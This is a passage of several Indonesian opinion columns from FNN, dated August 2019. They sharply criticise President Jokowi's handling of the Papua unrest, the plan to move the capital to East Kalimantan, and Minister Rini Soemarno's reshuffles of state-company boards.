bupati, tapi rakyat dan perusahaan garam harus bahu-membahu bersinergi untuk mendapatkan teknologinya. “Saya pasti akan men-support langkah-langkah kemudahan menuju produksi itu, sebab ini ikhtiar untuk bangkitnya sebuah peradaban di Sumenep,” ungkap Abuya. Sebagai catatan, wilayah Sumenep luas mencapai 2.0939.43 km2. Sumenep ini meninggalkan jejak peradaban yang panjang dibandingkan kota-kota lainnya di Jawa Timur. Pemerintahan di ujung timur Pulau Madura ini berdiri sejak 1269, lebih tua dari Kerajaan Majapahit yang kesohor hingga ke Madagaskar itu. Di sinilah perlunya Presiden Jokowi “belajar sejarah” kembali betapa garam Madura sangat berkualitas! Pak Presiden, sampiyan sudah lupa dengan pelajaran SD ya? ***

Tamparan Keras dari Papua

Papua menampar para pemimpin negeri ini. Di depan istana, putera Papua mengibarkan Bintang Kejora. Mereka meneriakkan yel yel “merdeka”. Para pemimpin negeri ini seakan tak berdaya. Mereka diam seribu bahasa. Oleh Dimas Huda Jakarta FNN - Kamis 29 Agustus 2019, media massa memberitakan Presiden Joko Widodo berkali-kali tertawa terpingkal-pingkal menyaksikan ulah pelawak Kirun yang tampil di tengah pertunjukan wayang. Pada malam itu, didampingi oleh ibu negara Iriana dan pejabat lainnya, Jokowi menyaksikan pertunjukan wayang kulit yang digelar di Alun-alun Kota Purworejo. Padahal, pada siang harinya, nun jauh di sana, di wilayah timur Indonesia, Jayapura bergolak. Sudah hampir dua pekan ini daerah itu membara. Unjuk rasa menjalar di beberapa wilayah lainnya sejak Senin (18/8). Tuntutan mereka seragam: merdeka. Bendera Bintang Kejora pun dibawa-bawa. Pada Kamis itu massa membakar gedung Majelis Rakyat Papua (MRP), mobil, kantor Pos, hingga kantor Telkom Indonesia. Suasana mencekam. Warga pendatang tak berani keluar rumah. Di Kabupaten Deyai, Papua, unjuk rasa berakhir rusuh. Sejumlah petugas dan warga tewas. Menkopolhukam Wiranto melaporkan dari TNI ada tiga orang. Satu meninggal dunia, dua luka dan sekarang masih kritis. Sedangkan dari aparat kepolisian ada empat luka-luka. “Masyarakat satu yang meninggal, juga tewas karena kena panah dan senjata-senjata dari masyarakat sendiri," katanya, Kamis (29/8). Gambar-gambar prajurit TNI dan Polri yang roboh bersimbah darah dengan kepala tertusuk panah, beredar luas di media sosial. 10 pucuk senjata SS 1 milik TNI dikabarkan dirampas oleh pengunjuk rasa. Pengungsi Konflik Papua sudah terjadi lama. Jauh sebelum insiden rasis di Malang dan Surabaya. Insiden dua kota di Jawa Timur itu hanya pemicu saja. Papua bak api dalam sekam. Namun, para pemimpin tak menganggap serius, sampai kemudian belasan karyawan PT Istaka Karya dibantai anggota Organisasi Papua Merdeka di Gunung Kabo, Desember 2018 lalu. Selanjutnya, pemerintah menambah pasukan militer di Kabupaten Nduga untuk mengejar kelompok OPM pimpinan Eginaus Kogeya. Di tengah operasi militer ini ribuan warga sipil mengungsi. Sebelum rakyat Papua turun ke jalan-jalan, Tim Kemanusiaan yang dibentuk Pemerintah Kabupaten Nduga menyatakan 182 pengungsi meninggal di tengah konflik bersenjata. "Ini sudah tingkat pelanggaran kemanusiaan terlalu dahsyat. Ini bencana besar untuk Indonesia sebenarnya, tapi di Jakarta santai-santai saja," ujar John Jonga, anggota tim kemanusiaan, seperti dikutip BBC Indonesia. Menurutnya, pengungsi yang meninggal - sebagian besar perempuan berjumlah 113 orang - adalah akibat kedinginan, lapar dan sakit. Berdasarkan temuan tim yang dibentuk Pemerintah Kabupaten Nduga ini, para pengungsi berasal dari Distrik Mapenduma sebanyak 4.276 jiwa, Distrik Mugi 4.369 orang dan Distrik Jigi 5.056, Distrik Yal 5.021, dan Distrik Mbulmu Yalma sebesar 3.775 orang. Sejumlah distrik lain yang tercatat adalah Kagayem 4.238, Distrik Nirkuri 2.982, Distrik Inikgal 4.001, Distrik Mbua 2.021, dan Distrik Dal 1.704. Mereka mengungsi ke kabupaten dan kota terdekat atau ke dalam hutan. "Ada yang ke Wamena, Lanijaya, Jayapura, Yahukimo, Asmat, dan Timika. Pengungsi-pengungsi itu (sebagian) masih ada di tengah hutan, sudah berbulan-bulan," lanjut John. Hanya saja, berdasarkan Kementerian Sosial dan Pemprov Papua, jumlah pengungsi Nduga yang meninggal sebanyak 53 orang. Dari angka korban itu, 23 di antaranya merupakan anak-anak. Adem Ayem Banyak yang mengkritik bahkan mengecam cara Jokowi menyikapi pergolakan di Papua. Dia santai. Bagaikan tak ada kejadian apa-apa. Dia tangguhkan kunjungan ke Papua. Padahal, kunjungan itu perlu untuk menunjukkan keseriusan pemerintah meredakan kemarahan orang Papua. Sejumlah kalangan juga menyerukan situasi di Papua sangat gawat. Sebuah situasi yang jauh lebih serius bila dibandingkan dengan saat Provinsi Timor-Timur lepas dari Indonesia. Papua bisa menjadi pintu masuk disintegrasi bangsa. Indonesia bisa terjerembap dalam Balkanisasi. Terpecah-pecah menjadi banyak negara. Seperti yang terjadi pada negara eks Yugoslavia. Praktisi media, Hersubeno Arief, mengingatkan dibandingkan dengan Timtim, potensi Papua lepas dari Indonesia jauh lebih besar. Secara ekonomi, politik, maupun pertarungan geopolitik global, posisi Papua lebih menarik dan menentukan. Dari sisi ekonomi potensi sumber daya alam Papua jauh lebih menggiurkan. Mulai dari tambang, energi, hutan, potensi kelautan, wisata dan lain-lain. Jangan dilupakan, masalah Papua tidak lepas dari gelombang persaudaraan ras Melanesia (Melanesian Brotherhood). AS, Inggris dan Australia menjadi salah satu penyokong dan “pelindung” 16 Forum Negara Kepulauan Pasifik ( Pasifik Island Region). Dengan didukung negara-negara Afrika--karena persamaan warna kulit--Forum Negara Kepulauan Pasifik ini bisa memainkan peran penting dalam lobi-lobi kemerdekaan Papua di PBB. Saat insiden pembakaran masjid di Tolikara, Letjen TNI Purn. J Suryo Prabowo pernah memperingatkan lepasnya Timtim diawali peristiwa yang mirip-mirip itu. Dalam kurun waktu 1996-1998, diawali dengan adanya mushola dibakar di Viqueque, kemudian banyak gereja dibakar di daerah lain di luar Timtim. Eskalasinya membesar hanya gara-gara satu kasus di pelosok provinsi termuda Indonesia waktu itu. Veteran perang Timtim ini menyebut kasus Timtim itu sebagai permainan global. Pada 1996 ribuan prajurit Australia disiagakan di Darwin. Mereka dipersiapkan untuk bisa beroperasi di daerah tropis. Tiga tahun kemudian, pada 1999, prajurit-prajurit Australia itu tiba di Bumi Loro Sae di bawah bendera PBB sebagai pasukan Interfet (International Force for East Timor). Dan tak lama kemudian, akibat intervensi global, terjadi referendum dan Timtim lepas. Kini di Darwin ada sekitar 20-an ribu marinir AS. “Apakah mungkin Marinir AS itu akan ke Papua sebagai Interfweb (International Force for West Papua)?” sentil Suryo Prabowo, kepada Forum Keadilan, suatu ketika. Asal tahu saja, ada sedikitnya 20 negara yang ‘mencari makan’ di Papua. Kenyamanan mereka belakangan sedikit terusik. Itu sebabnya, Indonesia harus lebih serius lagi menangani masalah Papua. Jangan sampai peristiwa Timtim terulang kembali.

Gerakan Separatisme Papua, Bisul Itu Mulai Pecah

Menkopolhukam Wiranto menolak menyebut berapa jumlah pasti yang tewas. "Ya, terserah kita lah mau umumkan atau tidak. Kalau diumumkan, perlu diumumkan. Kalau tidak, ya, tidak," ujarnya ringan. Oleh : Hersubeno Arief Jakarta, FNN - Mantan Menteri ESDM Sudirman Said punya analogi menarik tentang kerusuhan di Papua. Kerusuhan yang berbuntut kian menguatnya gerakan separatisme. Memisahkan diri dari Negara Kesatuan RI. Ibarat penyakit bisul, karena tidak dirawat dengan baik. Diabaikan. Dianggap penyakit ringan. Penyakit berupa benjolan di kulit itu kini pecah. Bila terlambat penanganannya, bisa menular ke kulit di sekitarnya. Benih disintegrasi itu menyebar ke mana-mana. Mengancam keutuhan NKRI. Di Aceh para aktivis Gerakan Aceh Merdeka (GAM) kembali mengibarkan bendera Bulan Sabit Merah. Di Medsos muncul seruan Melayu Merdeka! Tanda-tanda bahwa “bisul” itu akan pecah sebenarnya sudah terlihat dengan nyata. Akhir Juli lalu sistem IT Bank Mandiri error seharian penuh. Saldo ribuan nasabah berkurang. Ada yang pingsan karena saldo ratusan juta miliknya, tiba-tiba berubah menjadi nol. Sebaliknya banyak juga nasabah yang jumlah uang rekeningnya tiba-tiba menjadi bengkak. Manajemen Mandiri mencoba menenangkan nasabah. Menjamin semua sistem akan kembali normal. Mereka menyebut error “hanya’ terjadi pada 10 persen nasabah. Perlu diketahui jumlah nasabah Bank Mandiri pada tahun 2018 saja tercatat sebanyak 83.5 juta rekening. Artinya error “hanya,” sekali lagi “hanya” terjadi pada 8.3 juta rekening. Awal Agustus listrik padam di DKI, Banten, dan Jabar lebih dari 10 jam. Moda transportasi publik, mulai dari commuter line (KRL), MRT, transportasi online lumpuh. ATM Bank tak dapat digunakan, jutaan orang kebingungan karena tak memegang uang cash. Ekonomi digital yang sangat mengandalkan suplai listrik lumpuh. Bisnis UKM, restoran, minimarket, bahkan sampai warung pinggir jalan banyak yang tutup. Di beberapa gedung sejumlah pengguna lift terjebak. Ratusan pompa bensin gelap gulita. Tidak ada hukuman terhadap direksi atau manajemen PLN dan Mandiri. Seolah semuanya peristiwa biasa saja. Peristiwa terbaru Kamis (28/8) Direktur Utama Bank Rakyat Indonesia (BRI) Suprajarto menolak penunjukan dirinya sebagai Dirut Bank Tabungan Negara (BTN). Suprajarto mengaku tidak pernah diajak bicara. Tiba-tiba saja dicopot dari BRI dan dipindahkan ke BTN. Pemindahan seorang petinggi Bank BUMN tidak bisa seenaknya begitu saja. Seperti memindahkan bidak di papan catur. Ada tahapan-tahapan yang harus ditempuh. Ada fit and proper dari Otoritas Jasa Keuangan (OJK). Harus lolos Tim Penilai Akhir (TPA) yang dipimpin oleh Presiden. Pengelolaan BUMN terkesan amburadul. Hal itu setidaknya tercermin dari pemalsuan laporan keuangan PT Garuda Indonesia Tbk. Piutang dimasukkan sebagai laba, sehingga neraca keuangan Garuda menjadi biru. Dari rugi menjadi laba. Akibat skandal memalukan itu tidak ada direksi Garuda yang dicopot. Yang menjadi korban, disalahkan, dihukum malah kantor akuntan publik yang melakukan audit. Menteri BUMN Rini M Soemarno menilai hal itu hanya kesalahan interpretasi. "Bukan pemalsuan, tidak ada pemalsuan sama sekali dan jangan lupa ini sudah diaudit oleh kantor akuntasi publik yang sudah mendapatkan sertifikasi, bahwa perintepretasinya dianggap salah harus diperbaiki iya kita perbaiki.” Ringan sekali! Tidak Ada Anak Buah yang Salah Berbagai rangkaian peristiwa di atas menunjukkan ada salah urus pada negara ini. Proses pembusukan sedang terjadi di seluruh sektor. Puncaknya adalah kerusuhan di Papua. Bagaimana mungkin tiba-tiba peristiwa rasisme di Malang dan Surabaya terhadap mahasiswa Papua, memicu kerusuhan massif di dua provinsi: Papua Barat, dan Papua. Kerusuhan yang menyebabkan sejumlah kantor pemerintah, pasar, bangunan publik dibakar. Beberapa prajurit TNI-Polri dan warga sipil menjadi korban. Beberapa orang tewas. Berapa jumlah korban tewas, sampai saat ini masih simpang siur. Polisi menyebut dua warga sipil, dan seorang anggota TNI tewas. Namun beredar kabar jumlah tewas lebih banyak. Menkopolhukam Wiranto menolak menyebut berapa jumlah pasti yang tewas. "Ya, terserah kita lah mau umumkan atau tidak. Kalau diumumkan, perlu diumumkan. Kalau tidak, ya, tidak," ujarnya ringan. Bukan kali ini saja sesungguhnya aksi rasisme terjadi terhadap warga Papua. Tahun lalu (Alm) M Yamin Ketua Umum Seknas Jokowi menyamakan aktivis Papua Natalius Pigai seperti Gorila. Posisi politik Pigai yang beroposisi dan kritis terhadap pemerintahan Jokowi menyebabkan dia sering menjadi serangan rasisme. Di sejumlah akun medsos, banyak yang menyamakan Pigai seperti monyet. Namun perlakuan rasis itu hanya mendorong terjadinya unjuk rasa di berbagai kota. Kali ini reaksinya berbeda. Unjukrasa berubah menjadi amuk massa. Dimulai di Manokwari ibukota Papua Barat menjalar ke Sorong dan Fak Fak. Kemudian ke Deyai, dan Jayapura di Papua. Situasinya masih tidak menentu. Polisi mengerahkan sejumlah personil Brimob ke Papua. Begitu pula TNI. Dua Satuan Setingkat Kompi (SSK) Batalion 512 dari Brigif 18 Kostrad, dan 129 personil Marinir diberangkatkan ke Papua. Kualifikasi mereka adalah prajurit tempur. Prinsipnya: Kill or to be kill. Membunuh atau dibunuh. Bukan mengendalikan huru-hara. Masalahnya sampai sekarang pengerahan pasukan TNI tidak jelas payung hukumnya. Status hukum Papua adalah tertib sipil. Dengan begitu penanganan keamanannya berada di tangan polisi. TNI tidak berhak bertindak, apalagi menggunakan senjata. Padahal mereka secara terbuka sudah menyatakan ingin memisahkan diri dari Indonesia. Gerakan separatis. Bukan lagi Kelompok Kriminal Bersenjata (KKB) seperti yang selama ini disebut polisi. Status hukum yang tidak jelas, berdampak pada ketidakjelasan prosedur penanganannya. Akibatnya seperti terjadi pada unjukrasa di Deyai. Anggota TNI diminta menyimpan senjatanya. Bermodal tangan kosong berhadapan dengan warga yang membawa parang dan panah. “Mereka bisa menjadi sansak hidup. Mati konyol,” ujar seorang pensiunan perwira tinggi TNI dari korps baret merah dengan geram. Seharusnya bila statusnya tertib sipil, tambah perwira tinggi itu, yang bertanggung jawab polisi. “ Persenjataan Brimob juga lebih canggih dibanding TNI,” sindirnya. Bisul itu penyakit yang disebabkan infeksi, akumulasi dari kumam yang diabaikan. Bila kemudian berbagai soal yang rumit muncul, jangan-jangan itu akibat cara kerja kita yang tidak “higienis”. Terlalu sering menyimpan sampah dan persoalan dibawah karpet. Mengabaikannya, atau mengerjakan segala sesuatu hanya di permukaan. Sehingga soal-soal besar yang mendasar disembunyikan, boro boro diselesaikan Akumulasi berbagai persoalan yang saat ini muncul, menimbulkan pertanyaan besar di publik. IS THE LEADER IN FULL CONTROL. OR THE LEADER IS NOT IN CONTROL? Apakah sebagai presiden, Pak Jokowi mengontrol sepenuhnya semua persoalan, atau semua persoalan muncul karena keterbatasan kapasitasnya sebagai seorang pemimpin? Dalam militer dikenal sebuah kredo : TIDAK ADA PRAJURIT YANG SALAH! End

Pemindahan Ibu Kota: Proyek Konglomerat dari Hulu sampai Hilir

Sejauh ini Presiden Jokowi tidak menghiraukan suara rakyat. Dia putuskan saja sendirian. Simsalabim, ibu kota pun pindah. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Keputusan Presiden Jokowi untuk memindahkan ibu kota negara ke Kalimantan Timur, kelihatannya adalah keputusan sesuka hati. Keputusan ‘semau gue’. Tanpa memikirkan begitu banyak aspek yang melekat dalam proses pemindahan itu. Sandiaga Uno benar ketika menyarankan agar rakyat diikutkan dalam keputusan tentang pindah atau tidak. Harus dibuat referendum. Rakyat setuju atau tidak. Bukan hanya Sandiaga. Banyak ahli hukum ketatanegaraan pun berpendapat bahwa pemindahan ibu kota bukan wewenang presiden saja. Yang mau dipindahkan itu bukan ibu kota kabupaten. Harus ada suara rakyat di situ. Setidaknya lewat DPR. Jadi, presiden tidak cukup meminta izin DPR dan kemudian semua urusan pemindahan ibu kota menjadi selesai. Tetapi, sejauh ini Presiden Jokowi tidak menghiraukan suara rakyat. Dia putuskan saja sendirian. Simsalabim, ibu kota pun pindah. Tentu tindakan ‘one man show’ oleh Jokowi itu akan mencuatkan banyak pertanyaan. Mengapa beliau ‘ngotot? Apa motivasinya? Apakah ada dorongan dari entah siapa? Mengapa harus tergesa-gesa? Banyak orang meyakini bahwa pemindahan ibu kota ke Kalimantan Timur itu disusupi oleh kepentingan bisnis para konglomerat. Terutama mereka yang memiliki puluhan ribu hektar lahan di titik-titik prima lokasi baru. Juga mereka yang memiliki bisnis properti. Oligarkhi finansial itulah yang paling diuntungkan oleh proyek ibu kota baru ini. Sangat besar kemungkinan mereka akan meraup keuntungan yang berlipat-lipat. Merekalah yang akan mendominasi urusan pemindahan ibu kota. Mereka yang akan mengerjakan proyek ini dari hulu sampai ke hilir. Sebagai contoh. Pemindahan ini berhulu di Jakarta. Ratusan atau mungkin ribuan hektar tanah dan bangunan milik pemerintah pusat di Jakarta, hampir pasti akan dijual. Ada celah yang menggiurkan dalam proses penjualan itu. Gedung dan tanah milik pemerintah pusat di Jakarta ukurannya besar-besar dan lokasinya di kawasan kelas satu. Tentu harganya akan sangat mahal sekali. Karena itu, tidak mungkin orang-orang biasa yang mampu mengakuisisinya. Pastilah para konglomerat. Dan konglomeratnya yang itu-itu juga. Setelah itu, para konglomerat yang sama akan berperan besar pula dalam pembangunan ibu kota baru. Inilah proyek hilir pemindahan. Ada tumpukan uang 500 triliun. Para konglomerat itulah yang punya modal besar dan pengalaman. Berarti sumber duit lagi untuk mereka. Untung besar di Jakarta, laba besar di ibu kota baru. Dari hulu ke hilir mereka semua yang mendominasi keuntungan. (31 Agustus 2019)

Presiden Jokowi Ingin Menghapus Fifosofi Jakarta!

Secara konstitusi, Presiden Jokowi sudah jelas-jelas melabrak UU yang telah ditetapkan oleh Presiden Sukarno terkait dengan Ibukota Jakarta. Dengan kata lain, Presiden Jokowi sejatinya telah dengan sengaja mencabut filosofi fundamental bangsa Indonesia. Oleh Mchamad Toha (Wartawan Senior) Jakarta, FNN - Beberapa alasan yang sering disampaikan oleh Presiden Joko Widodo mengapa akhirnya memilih Kabupaten Penajam Paser Utara dan Kabupaten Kutai Kartanegara, Kalimantan Timur, sebagai Ibukota Negara RI: menghindari bencana! Terutama bencana gempa bumi dan tsunami. Lembaga Ilmu Pengetahuan Indonesia (LIPI), menyebut potensi gempa yang paling tinggi di pulau Kalimantan terletak di Kalimantan Timur, tepatnya di sebelah selatan Kota Samarinda, Kaltim. “Sebab, di sekitar kota Samarinda bagian selatan terdapat Selat Makassar yang rawan gempa dan berpotensi tsunami,” kata Peneliti Geoteknologi LIPI Danny Hilman Natawijaya kepada CNNIndonesia.com saat dihubungi, Senin (26/8/2019). Menurut Danny, di selat Makassar yang memisahkan Kalimantan dan Sulawesi ini terdapat patahan aktif. Patahan inilah yang menimbulkan kerawanan gempa dan tsunami. Penajam Paser Utara itu terletak di selatan Kutai Kertanegara. Baik Kutai Kertanegara maupun Penajam Paser Utara itu berbatasan langsung dengan Selat Makassar. Kota Samarinda sendiri ada di selatan Kutai Kertanegara. Danny menjelaskan, di kawasan Samarinda selatan itu juga rawan bencana tsunami jika terjadi gempa di tempat lain. Danny mencontohkan jika gempa terjadi di Nusa Tenggara Barat (NTB), efek gelombang tsunaminya berpotensi sampai di kawasan ini. “Gempa Lombok itukan bisa terus sampai ke Bali, (sehingga) masih ada kontribusinya (menjalarkan) tsunami (hingga) ke Kalimantan Timur walaupun cukup jauh ya. Tapi, saya enggak tahu seberapa tinggi,” tuturnya. Meski demikian, Danny menyebut secara umum potensi gempa pulau Kalimantan relatif rendah dibanding pulau-pulau lainnya di Indonesia. Kepala Bidang Mitigasi Gempabumi dan Tsunami BMKG Daryono menyebutkan ada catatan sejarah gempa signifikan dan merusak yang pernah terjadi di wilayah Kaltim. Bencana itu terkait dengan aktivitas Sesar Maratua dan Sesar Sangkulirang. Gempa dan Tsunami Sangkulirang pernah terjadi 14 Mei 1921. Dampak gempa Sangkulirang dilaporkan menimbulkan kerusakan memiliki skala intensitas VII-VIII MMI. “Artinya banyak bangunan mengalami kerusakan sedang hingga berat,” ujarnya. Gempa kuat tersebut diikuti tsunami yang mengakibatkan kerusakan di sepanjang pantai dan muara sungai di Sangkulirang. Selain itu, ada Gempa Tanjung Mangkalihat berkekuatan magnitude 5,7 pada 16 November 1964. Gempa Kutai Timur berkekuatan magnitude 5,1 pada 4 Juni 1982, lalu Gempa Muarabulan di Kutai Timur bermagnitude 5,1 pada 31 Juli 1983. Lalu, Gempa Mangkalihat bermagnitude 5,4 pada 16 Juni 2000, Gempa Tanjungredep bermagnitude 5,4 pada 31 Januari 2006, dan Gempa Muaralasan, Berau, bermagnitude 5,3 pada 24 Februari 2007. Melansir Tempo.co, Sabtu (24 Agustus 2019 06:50 WIB), catatan gempa di Kabupaten Paser di antaranya yang terkuat dengan magnitude 6,1 pada 26 Oktober 1957. Lindu terbaru yaitu Gempa Longkali, Paser, pada 19 Mei 2019 bermagnitude 4,1. Keberadaan pantai timurnya yang berhadapan dengan megathrust Sulawesi Utara berpotensi tsunami. Hasil pemodelan BMKG dengan gempa bermagnitude 8,5 dari zona gempa besar itu menunjukkan status awas. “Tinggi tsunami di pantai timur Kalimantan Timur bisa di atas tiga meter,” kata Daryono. Mitigasi tsunami, menurutnya, bisa dengan menata ruang pantai yang aman tsunami seperti membuat hutan pantai. Masyarakat pantai pun perlu memahami konsep evakuasi mandiri. “Gempa kuat di pantai sebagai peringatan dini tsunami,” lanjut Daryono. Hasil monitoring kegempaan oleh BMKG terhadap Sesar Maratua dan Sesar Mangkalihat di Kabupaten Berau dan Kabupaten Kutai Timur, menunjukkan tanda yang masih sangat aktif. Tampak dalam peta seismisitas pada dua zona sesar ini aktivitas kegempaannya cukup tinggi dan membentuk klaster sebaran pusat gempa yang berarah barat-timur. Melihat kenyataan ini, patut dipertanyakan, mengapa Presiden Jokowi ngotot pindah ke Kaltim. Filosofi Jakarta Jika menyimak alasan Presiden Jokowi untuk memindahkan Ibukota Negara ke Kaltim hanya semata-mata untuk menghindari bencana alam, sudah dijawab oleh para pakar di atas. Bahwa Kaltim tidak terbebas dari ancaman bencana gempa bumi dan tsunami. Makanya, tidak salah kalau ada yang bertanya, adakah maksud lain di balik rencana pindah Ibukota Negara tersebut? Apalagi, belakangan malah muncul dugaan, di dua wilayah tersebut ternyata banyak lahan yang dimiliki oleh sponsor Jokowi saat nyapres! Jadi, tampaknya rencana pemindahan Ibukota Negara itu lebih kepada “unsur bisnis” properti yang menguntungkan kolega taipan pendukung Jokowi ketimbang alasan lainnya, seperti soal menghindari bencana gempa bumi dan tsunami segala. Tak hanya itu. Secara konstitusi, Presiden Jokowi sudah jelas-jelas melabrak UU yang telah ditetapkan oleh Presiden Sukarno terkait dengan Ibukota Jakarta. Dengan kata lain, Presiden Jokowi sejatinya telah dengan sengaja mencabut filosofi fundamental bangsa Indonesia. DKI Jakarta adalah ibu dari seluruh negara ini, ibu dari seluruh wilayah republik ini, ibu dari seluruh kampung, desa, kecamatan yang ada di Indonesia. Mengapa? Karena Jakarta adalah ibu yang mengandung, bahkan melahirkan Negara Kesatuan Republik Indonesia. Secara historis, nama Jakarta pun diambil dari nama Pangeran Jayakarta, bukan Batavia yang sering disebut oleh Belanda, meski nama ini sejatinya juga berasal dari nama Betawi. Apakah jejak historis ini yang sengaja mau “dihapus” oleh Presiden Jokowi? Sebenarnya ada hal-hal filosopis konstitusional yang harus dipahami terlebih dahulu tentang ibukota dalam perspektif perjalanan konstitusi bangsa. Ibukota adalah tempat di mana seluruh rakyat Indonesia memberikan mandat kepada institusi negara. Menurut pakar hukum tata negara Irmaputra Sidin, jika merunut sejarah panjang kehidupan konstitusi, maka dapat ditemukan kriteria dan definisi megnapa Jakarta dijadikan ibukota diantara puluhan, ratusan bahkan ribuan kota yang ada di Indonesia. “Tentunya ada sesuatu yang harusnya dipahami mengapa kemudian Jakarta ditunjuk sebagai ibukota. Apa definisinya? Apa yang melatar belakangi kemudian Jakarta dijadikan kota yang menjadi ibu,” sebut Irma seperti dilansir RMOL.com, Sabtu (24/8/2019). "Jakarta adalah tempat di mana ibu menjahit Bendera Merah-Putih. Jakarta adalah tempat di mana proklamator (Sukarno-Hatta) memproklamasikan kemerdekaan kepada seluruh penjuru dunia. Jakarta adalah ibu yang memfasilitasi lahirnya Pancasila,” kata Irma. “Ideologi negara yang sangat dibanggakan, ideologi yang kita ingin sebar ke seluruh penjuru dunia, kata Bung Karno. Jakarta tempat menulis menguntai kata-kata, selaksa kata-kata menjadi untaian-untaian kata untuk mengontrol kekuasaan tersebut dalam bentuk UUD 1945,” tutur Irma. Apakah Presiden Jokowi tidak tahu kalau UU Nomor 10 Tahun 1964 tentang “Pernyataan Daerah Khusus Ibu-Kota Jakarta Raya Tetap Sebagai Ibu-Kota Negara Republik Indonesia Dengan Nama Jakarta” belum dicabut dan masih berlaku? Itulah filosofi Jakarta! Jika Presiden Jokowi tetap ngotot ingin mindahin Ibukota, jelas beliau sepertinya memang sengaja ingin menghapus jejak filosofi Jakarta! ***

Rini Membangkang, Jokowi Tak Berdaya?

Rini terkesan tak peduli dengan peringatan Moeldoko. Ia bahkan seakan ingin menunjukkan kesaktian dan kekuasaannya. Setelah rencana RUPSLB lima BUMN, Rini juga menitahkan penyelenggaraan RUPSLB terhadap dua BUMN farmasi yakni PT Kimia Farma dan PT Indofarma. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Menteri Badan Usaha Milik Negara (BUMN), Rini Soemarno, bikin blunder. Tanpa disadari, ia menyeret BUMN dalam ketidakpastian. Pada Kamis (29/8) kemarin, atas perintahnya, PT Bank Tabungan Negara (Persero) Tbk. menggelar Rapat Umum Pemegang Saham Luar Biasa (RUPSLB). Keputusan rapat ini salah satunya mengganti Direktur Utama Bank BTN dari Maryono kepada Suprajarto. Sang pengganti pada saat itu masih sebagai Direktur Utama PT Bank Rakyat Indonesia Tbk. Terang saja Suprajarto terkaget-kaget. Pasalnya, ia tak pernah diajak bicara apalagi musyawarah dengan kedudukan yang baru itu. Lagi pula, perpindahan dari bank besar ke bank yang asetnya sepersepuluhnya itu jelas bisa dianggap penghinaan. Suprajarto bukan buruh kecil yang bisa diputar-putar seenak udelnya oleh sang bos. Ia pun menolak. “Saya tidak dapat menerima keputusan RUPSLB itu. Saya mengundurkan diri,” ujarnya lugas, seperti dikutip Detik, Kamis (29/8). Suprajarto memilih plesir untuk melepas penat, ketimbang menuruti Rini. Kisah Suprajarto ini bisa dibilang menjadi karma bagi Rini yang oleh banyak pihak dianggap melanggar larangan Presiden Joko Widodo. Sekadar mengingatkan saja, Presiden telah mewanti-wanti agar para pembantunya untuk tidak mengambil keputusan strategis, termasuk mengganti direksi BUMN, menjelang pergantian kabinet. Menurut Kepala Staf Kepresidenan, Moeldoko, larangan itu disampaikan Jokowi dalam sidang kabinet. Permintaan presiden itu didasari karena pemerintahan tinggal beberapa bulan sampai pelantikan. Mantan panglima TNI itu menyebut, Jokowi tak ingin ada beban pada periode keduanya nanti. "Jadi jangan sampai nanti punya beban ke depannya. Itu aja sebenarnya," tuturnya. Seperti kita tahu, Rini yang pada saat kampanye pilpres 2014 sebagai fund rising bagi capres Jokowi-Jusuf Kalla ini terkesan membandel. Ia menitahkan lima BUMN menggelar RUPSLB secara simultan dan berurutan sejak 28 Agustus hingga 2 September. Agenda RUPSLB itu sama, yakni evaluasi kinerja semester I-2019 dan perubahan susunan pengurus. Selain kepada BTN, empat BUMN lainnya yang mendapat perintah menggelar RUPSLB adalah PT Bank Mandiri (Persero) Tbk. yang sudah berlangsung pada Rabu (28/8), PT Perusahaan Gas Negara Tbk. (PGAS) pada 30 Agustus, PT Bank Negara Indonesia (Persero) Tbk (BBNI) pada 30 Agustus, dan PT Bank Rakyat Indonesia (Persero) Tbk/BBRI pada 2 September. Sebelumnya, Moeldoko sempat memperingatkan Rini terkait larangan mengganti jajaran direksi BUMN itu. "Itu perintah. Apa yang disampaikan dalam sidang kabinet kan perintah. Harus diikuti. Mestinya begitu," tambah Moeldoko, Senin (12/8). Moeldoko menegaskan setiap menteri Kabinet Kerja harus mematuhi instruksi langsung yang diberikan kepala negara. Termasuk dalam hal perombakan jabatan maupun direksi BUMN. "Itu kan moral obligation bagi pejabat negara begitu," tegasnya. Dua BUMN Farmasi Rini terkesan tak peduli dengan peringatan itu. Ia bahkan seakan ingin menunjukkan kesaktian dan kekuasaannya. Setelah rencana RUPSLB lima BUMN, Rini juga menitahkan penyelenggaraan RUPSLB terhadap dua BUMN farmasi yakni PT Kimia Farma (Persero) Tbk. (KAEF) dan PT Indofarma (Persero) Tbk. (INAF). Dua BUMN farmasi ini akan menggelar RUPSLB serentak di tempat yang sama dengan periode jam yang berbeda yakni di Hotel Borobodur Jakarta pada Rabu 18 September mendatang. KAEF dijadwalkan RUPSLB pada pukul 09.00 WIB, sementara INAF pada siangnya, pukul 14.00 WIB. Agendanya pun sama yakni perubahan anggaran dasar perseroan dan perubahan pengurus perseroan baik komisaris maupun direksi. Rencana RUPLSB ini terungkap dalam dalam keterbukaan informasi di Bursa Efek Indonesia (BEI), Kamis (29/8). Permintaan RUPLSB kedua BUMN farmasi tersebut berdasarkan surat Menteri BUMN Nomor 2-786/MBU/S/07/2019 tanggal 29 Juli 2019. Keluarnya keputusan ini makin mencerminkan bahwa larangan Jokowi tak ada artinya bagi Rini. Publik jadi menduga-duga, benarkah Rini amat sakti? Jauh sebelum ini, sudah terdengar riak-riak hubungan Rini dengan PDI Perjuangan. Konon Megawati Soekarnoputri tidak suka dengan eks tim sukses Jokowi-Kalla itu. Konon itu akibat Rini tidak memberi ruang bagi kader Banteng di lingkup BUMN. PDIP berkali-kali menyerukan agar Jokowi mencopot Rini. Tapi Jokowi kekeuh mempertahankannya. Kini, Rini sudah lolos di Kabinet Kerja I. Selanjutnya, banyak pihak menduga ia ingin bertahan dan tetap mengisi Kabinet Kerja II. Lantaran itu, peneliti dari Asosiasi Ekonomi Politik Indonesia (AEPI), Salamudin Daeng, menduga, Rini sengaja "menyandera" Presiden Jokowi melalui perombakan direksi BUMN. "Saya kira dia sedang berupaya menaikkan bargaining position menjelang pemilihan kabinet baru," ujarnya, Senin (26/8). Menurut Salamudin, menjelang pembentukan kabinet periode 2019 - 2024 posisi Rini belum jelas, apakah masih dipakai Jokowi atau tidak. Makanya, dia mencoba mencari cara agar tetap bisa bertahan di kabinet. "Dia seperti to be or not tobe. Kalau tak dikerjakan (rombak direksi BUMN) seperti apa, kalau tetap dikerjakan, seperti apa (reaksi Jokowi)," tuturnya. Rini memainkan strategi "menyandera" Presiden dengan cara seperti itu karena, menurut Salamudin, dia tahu peran 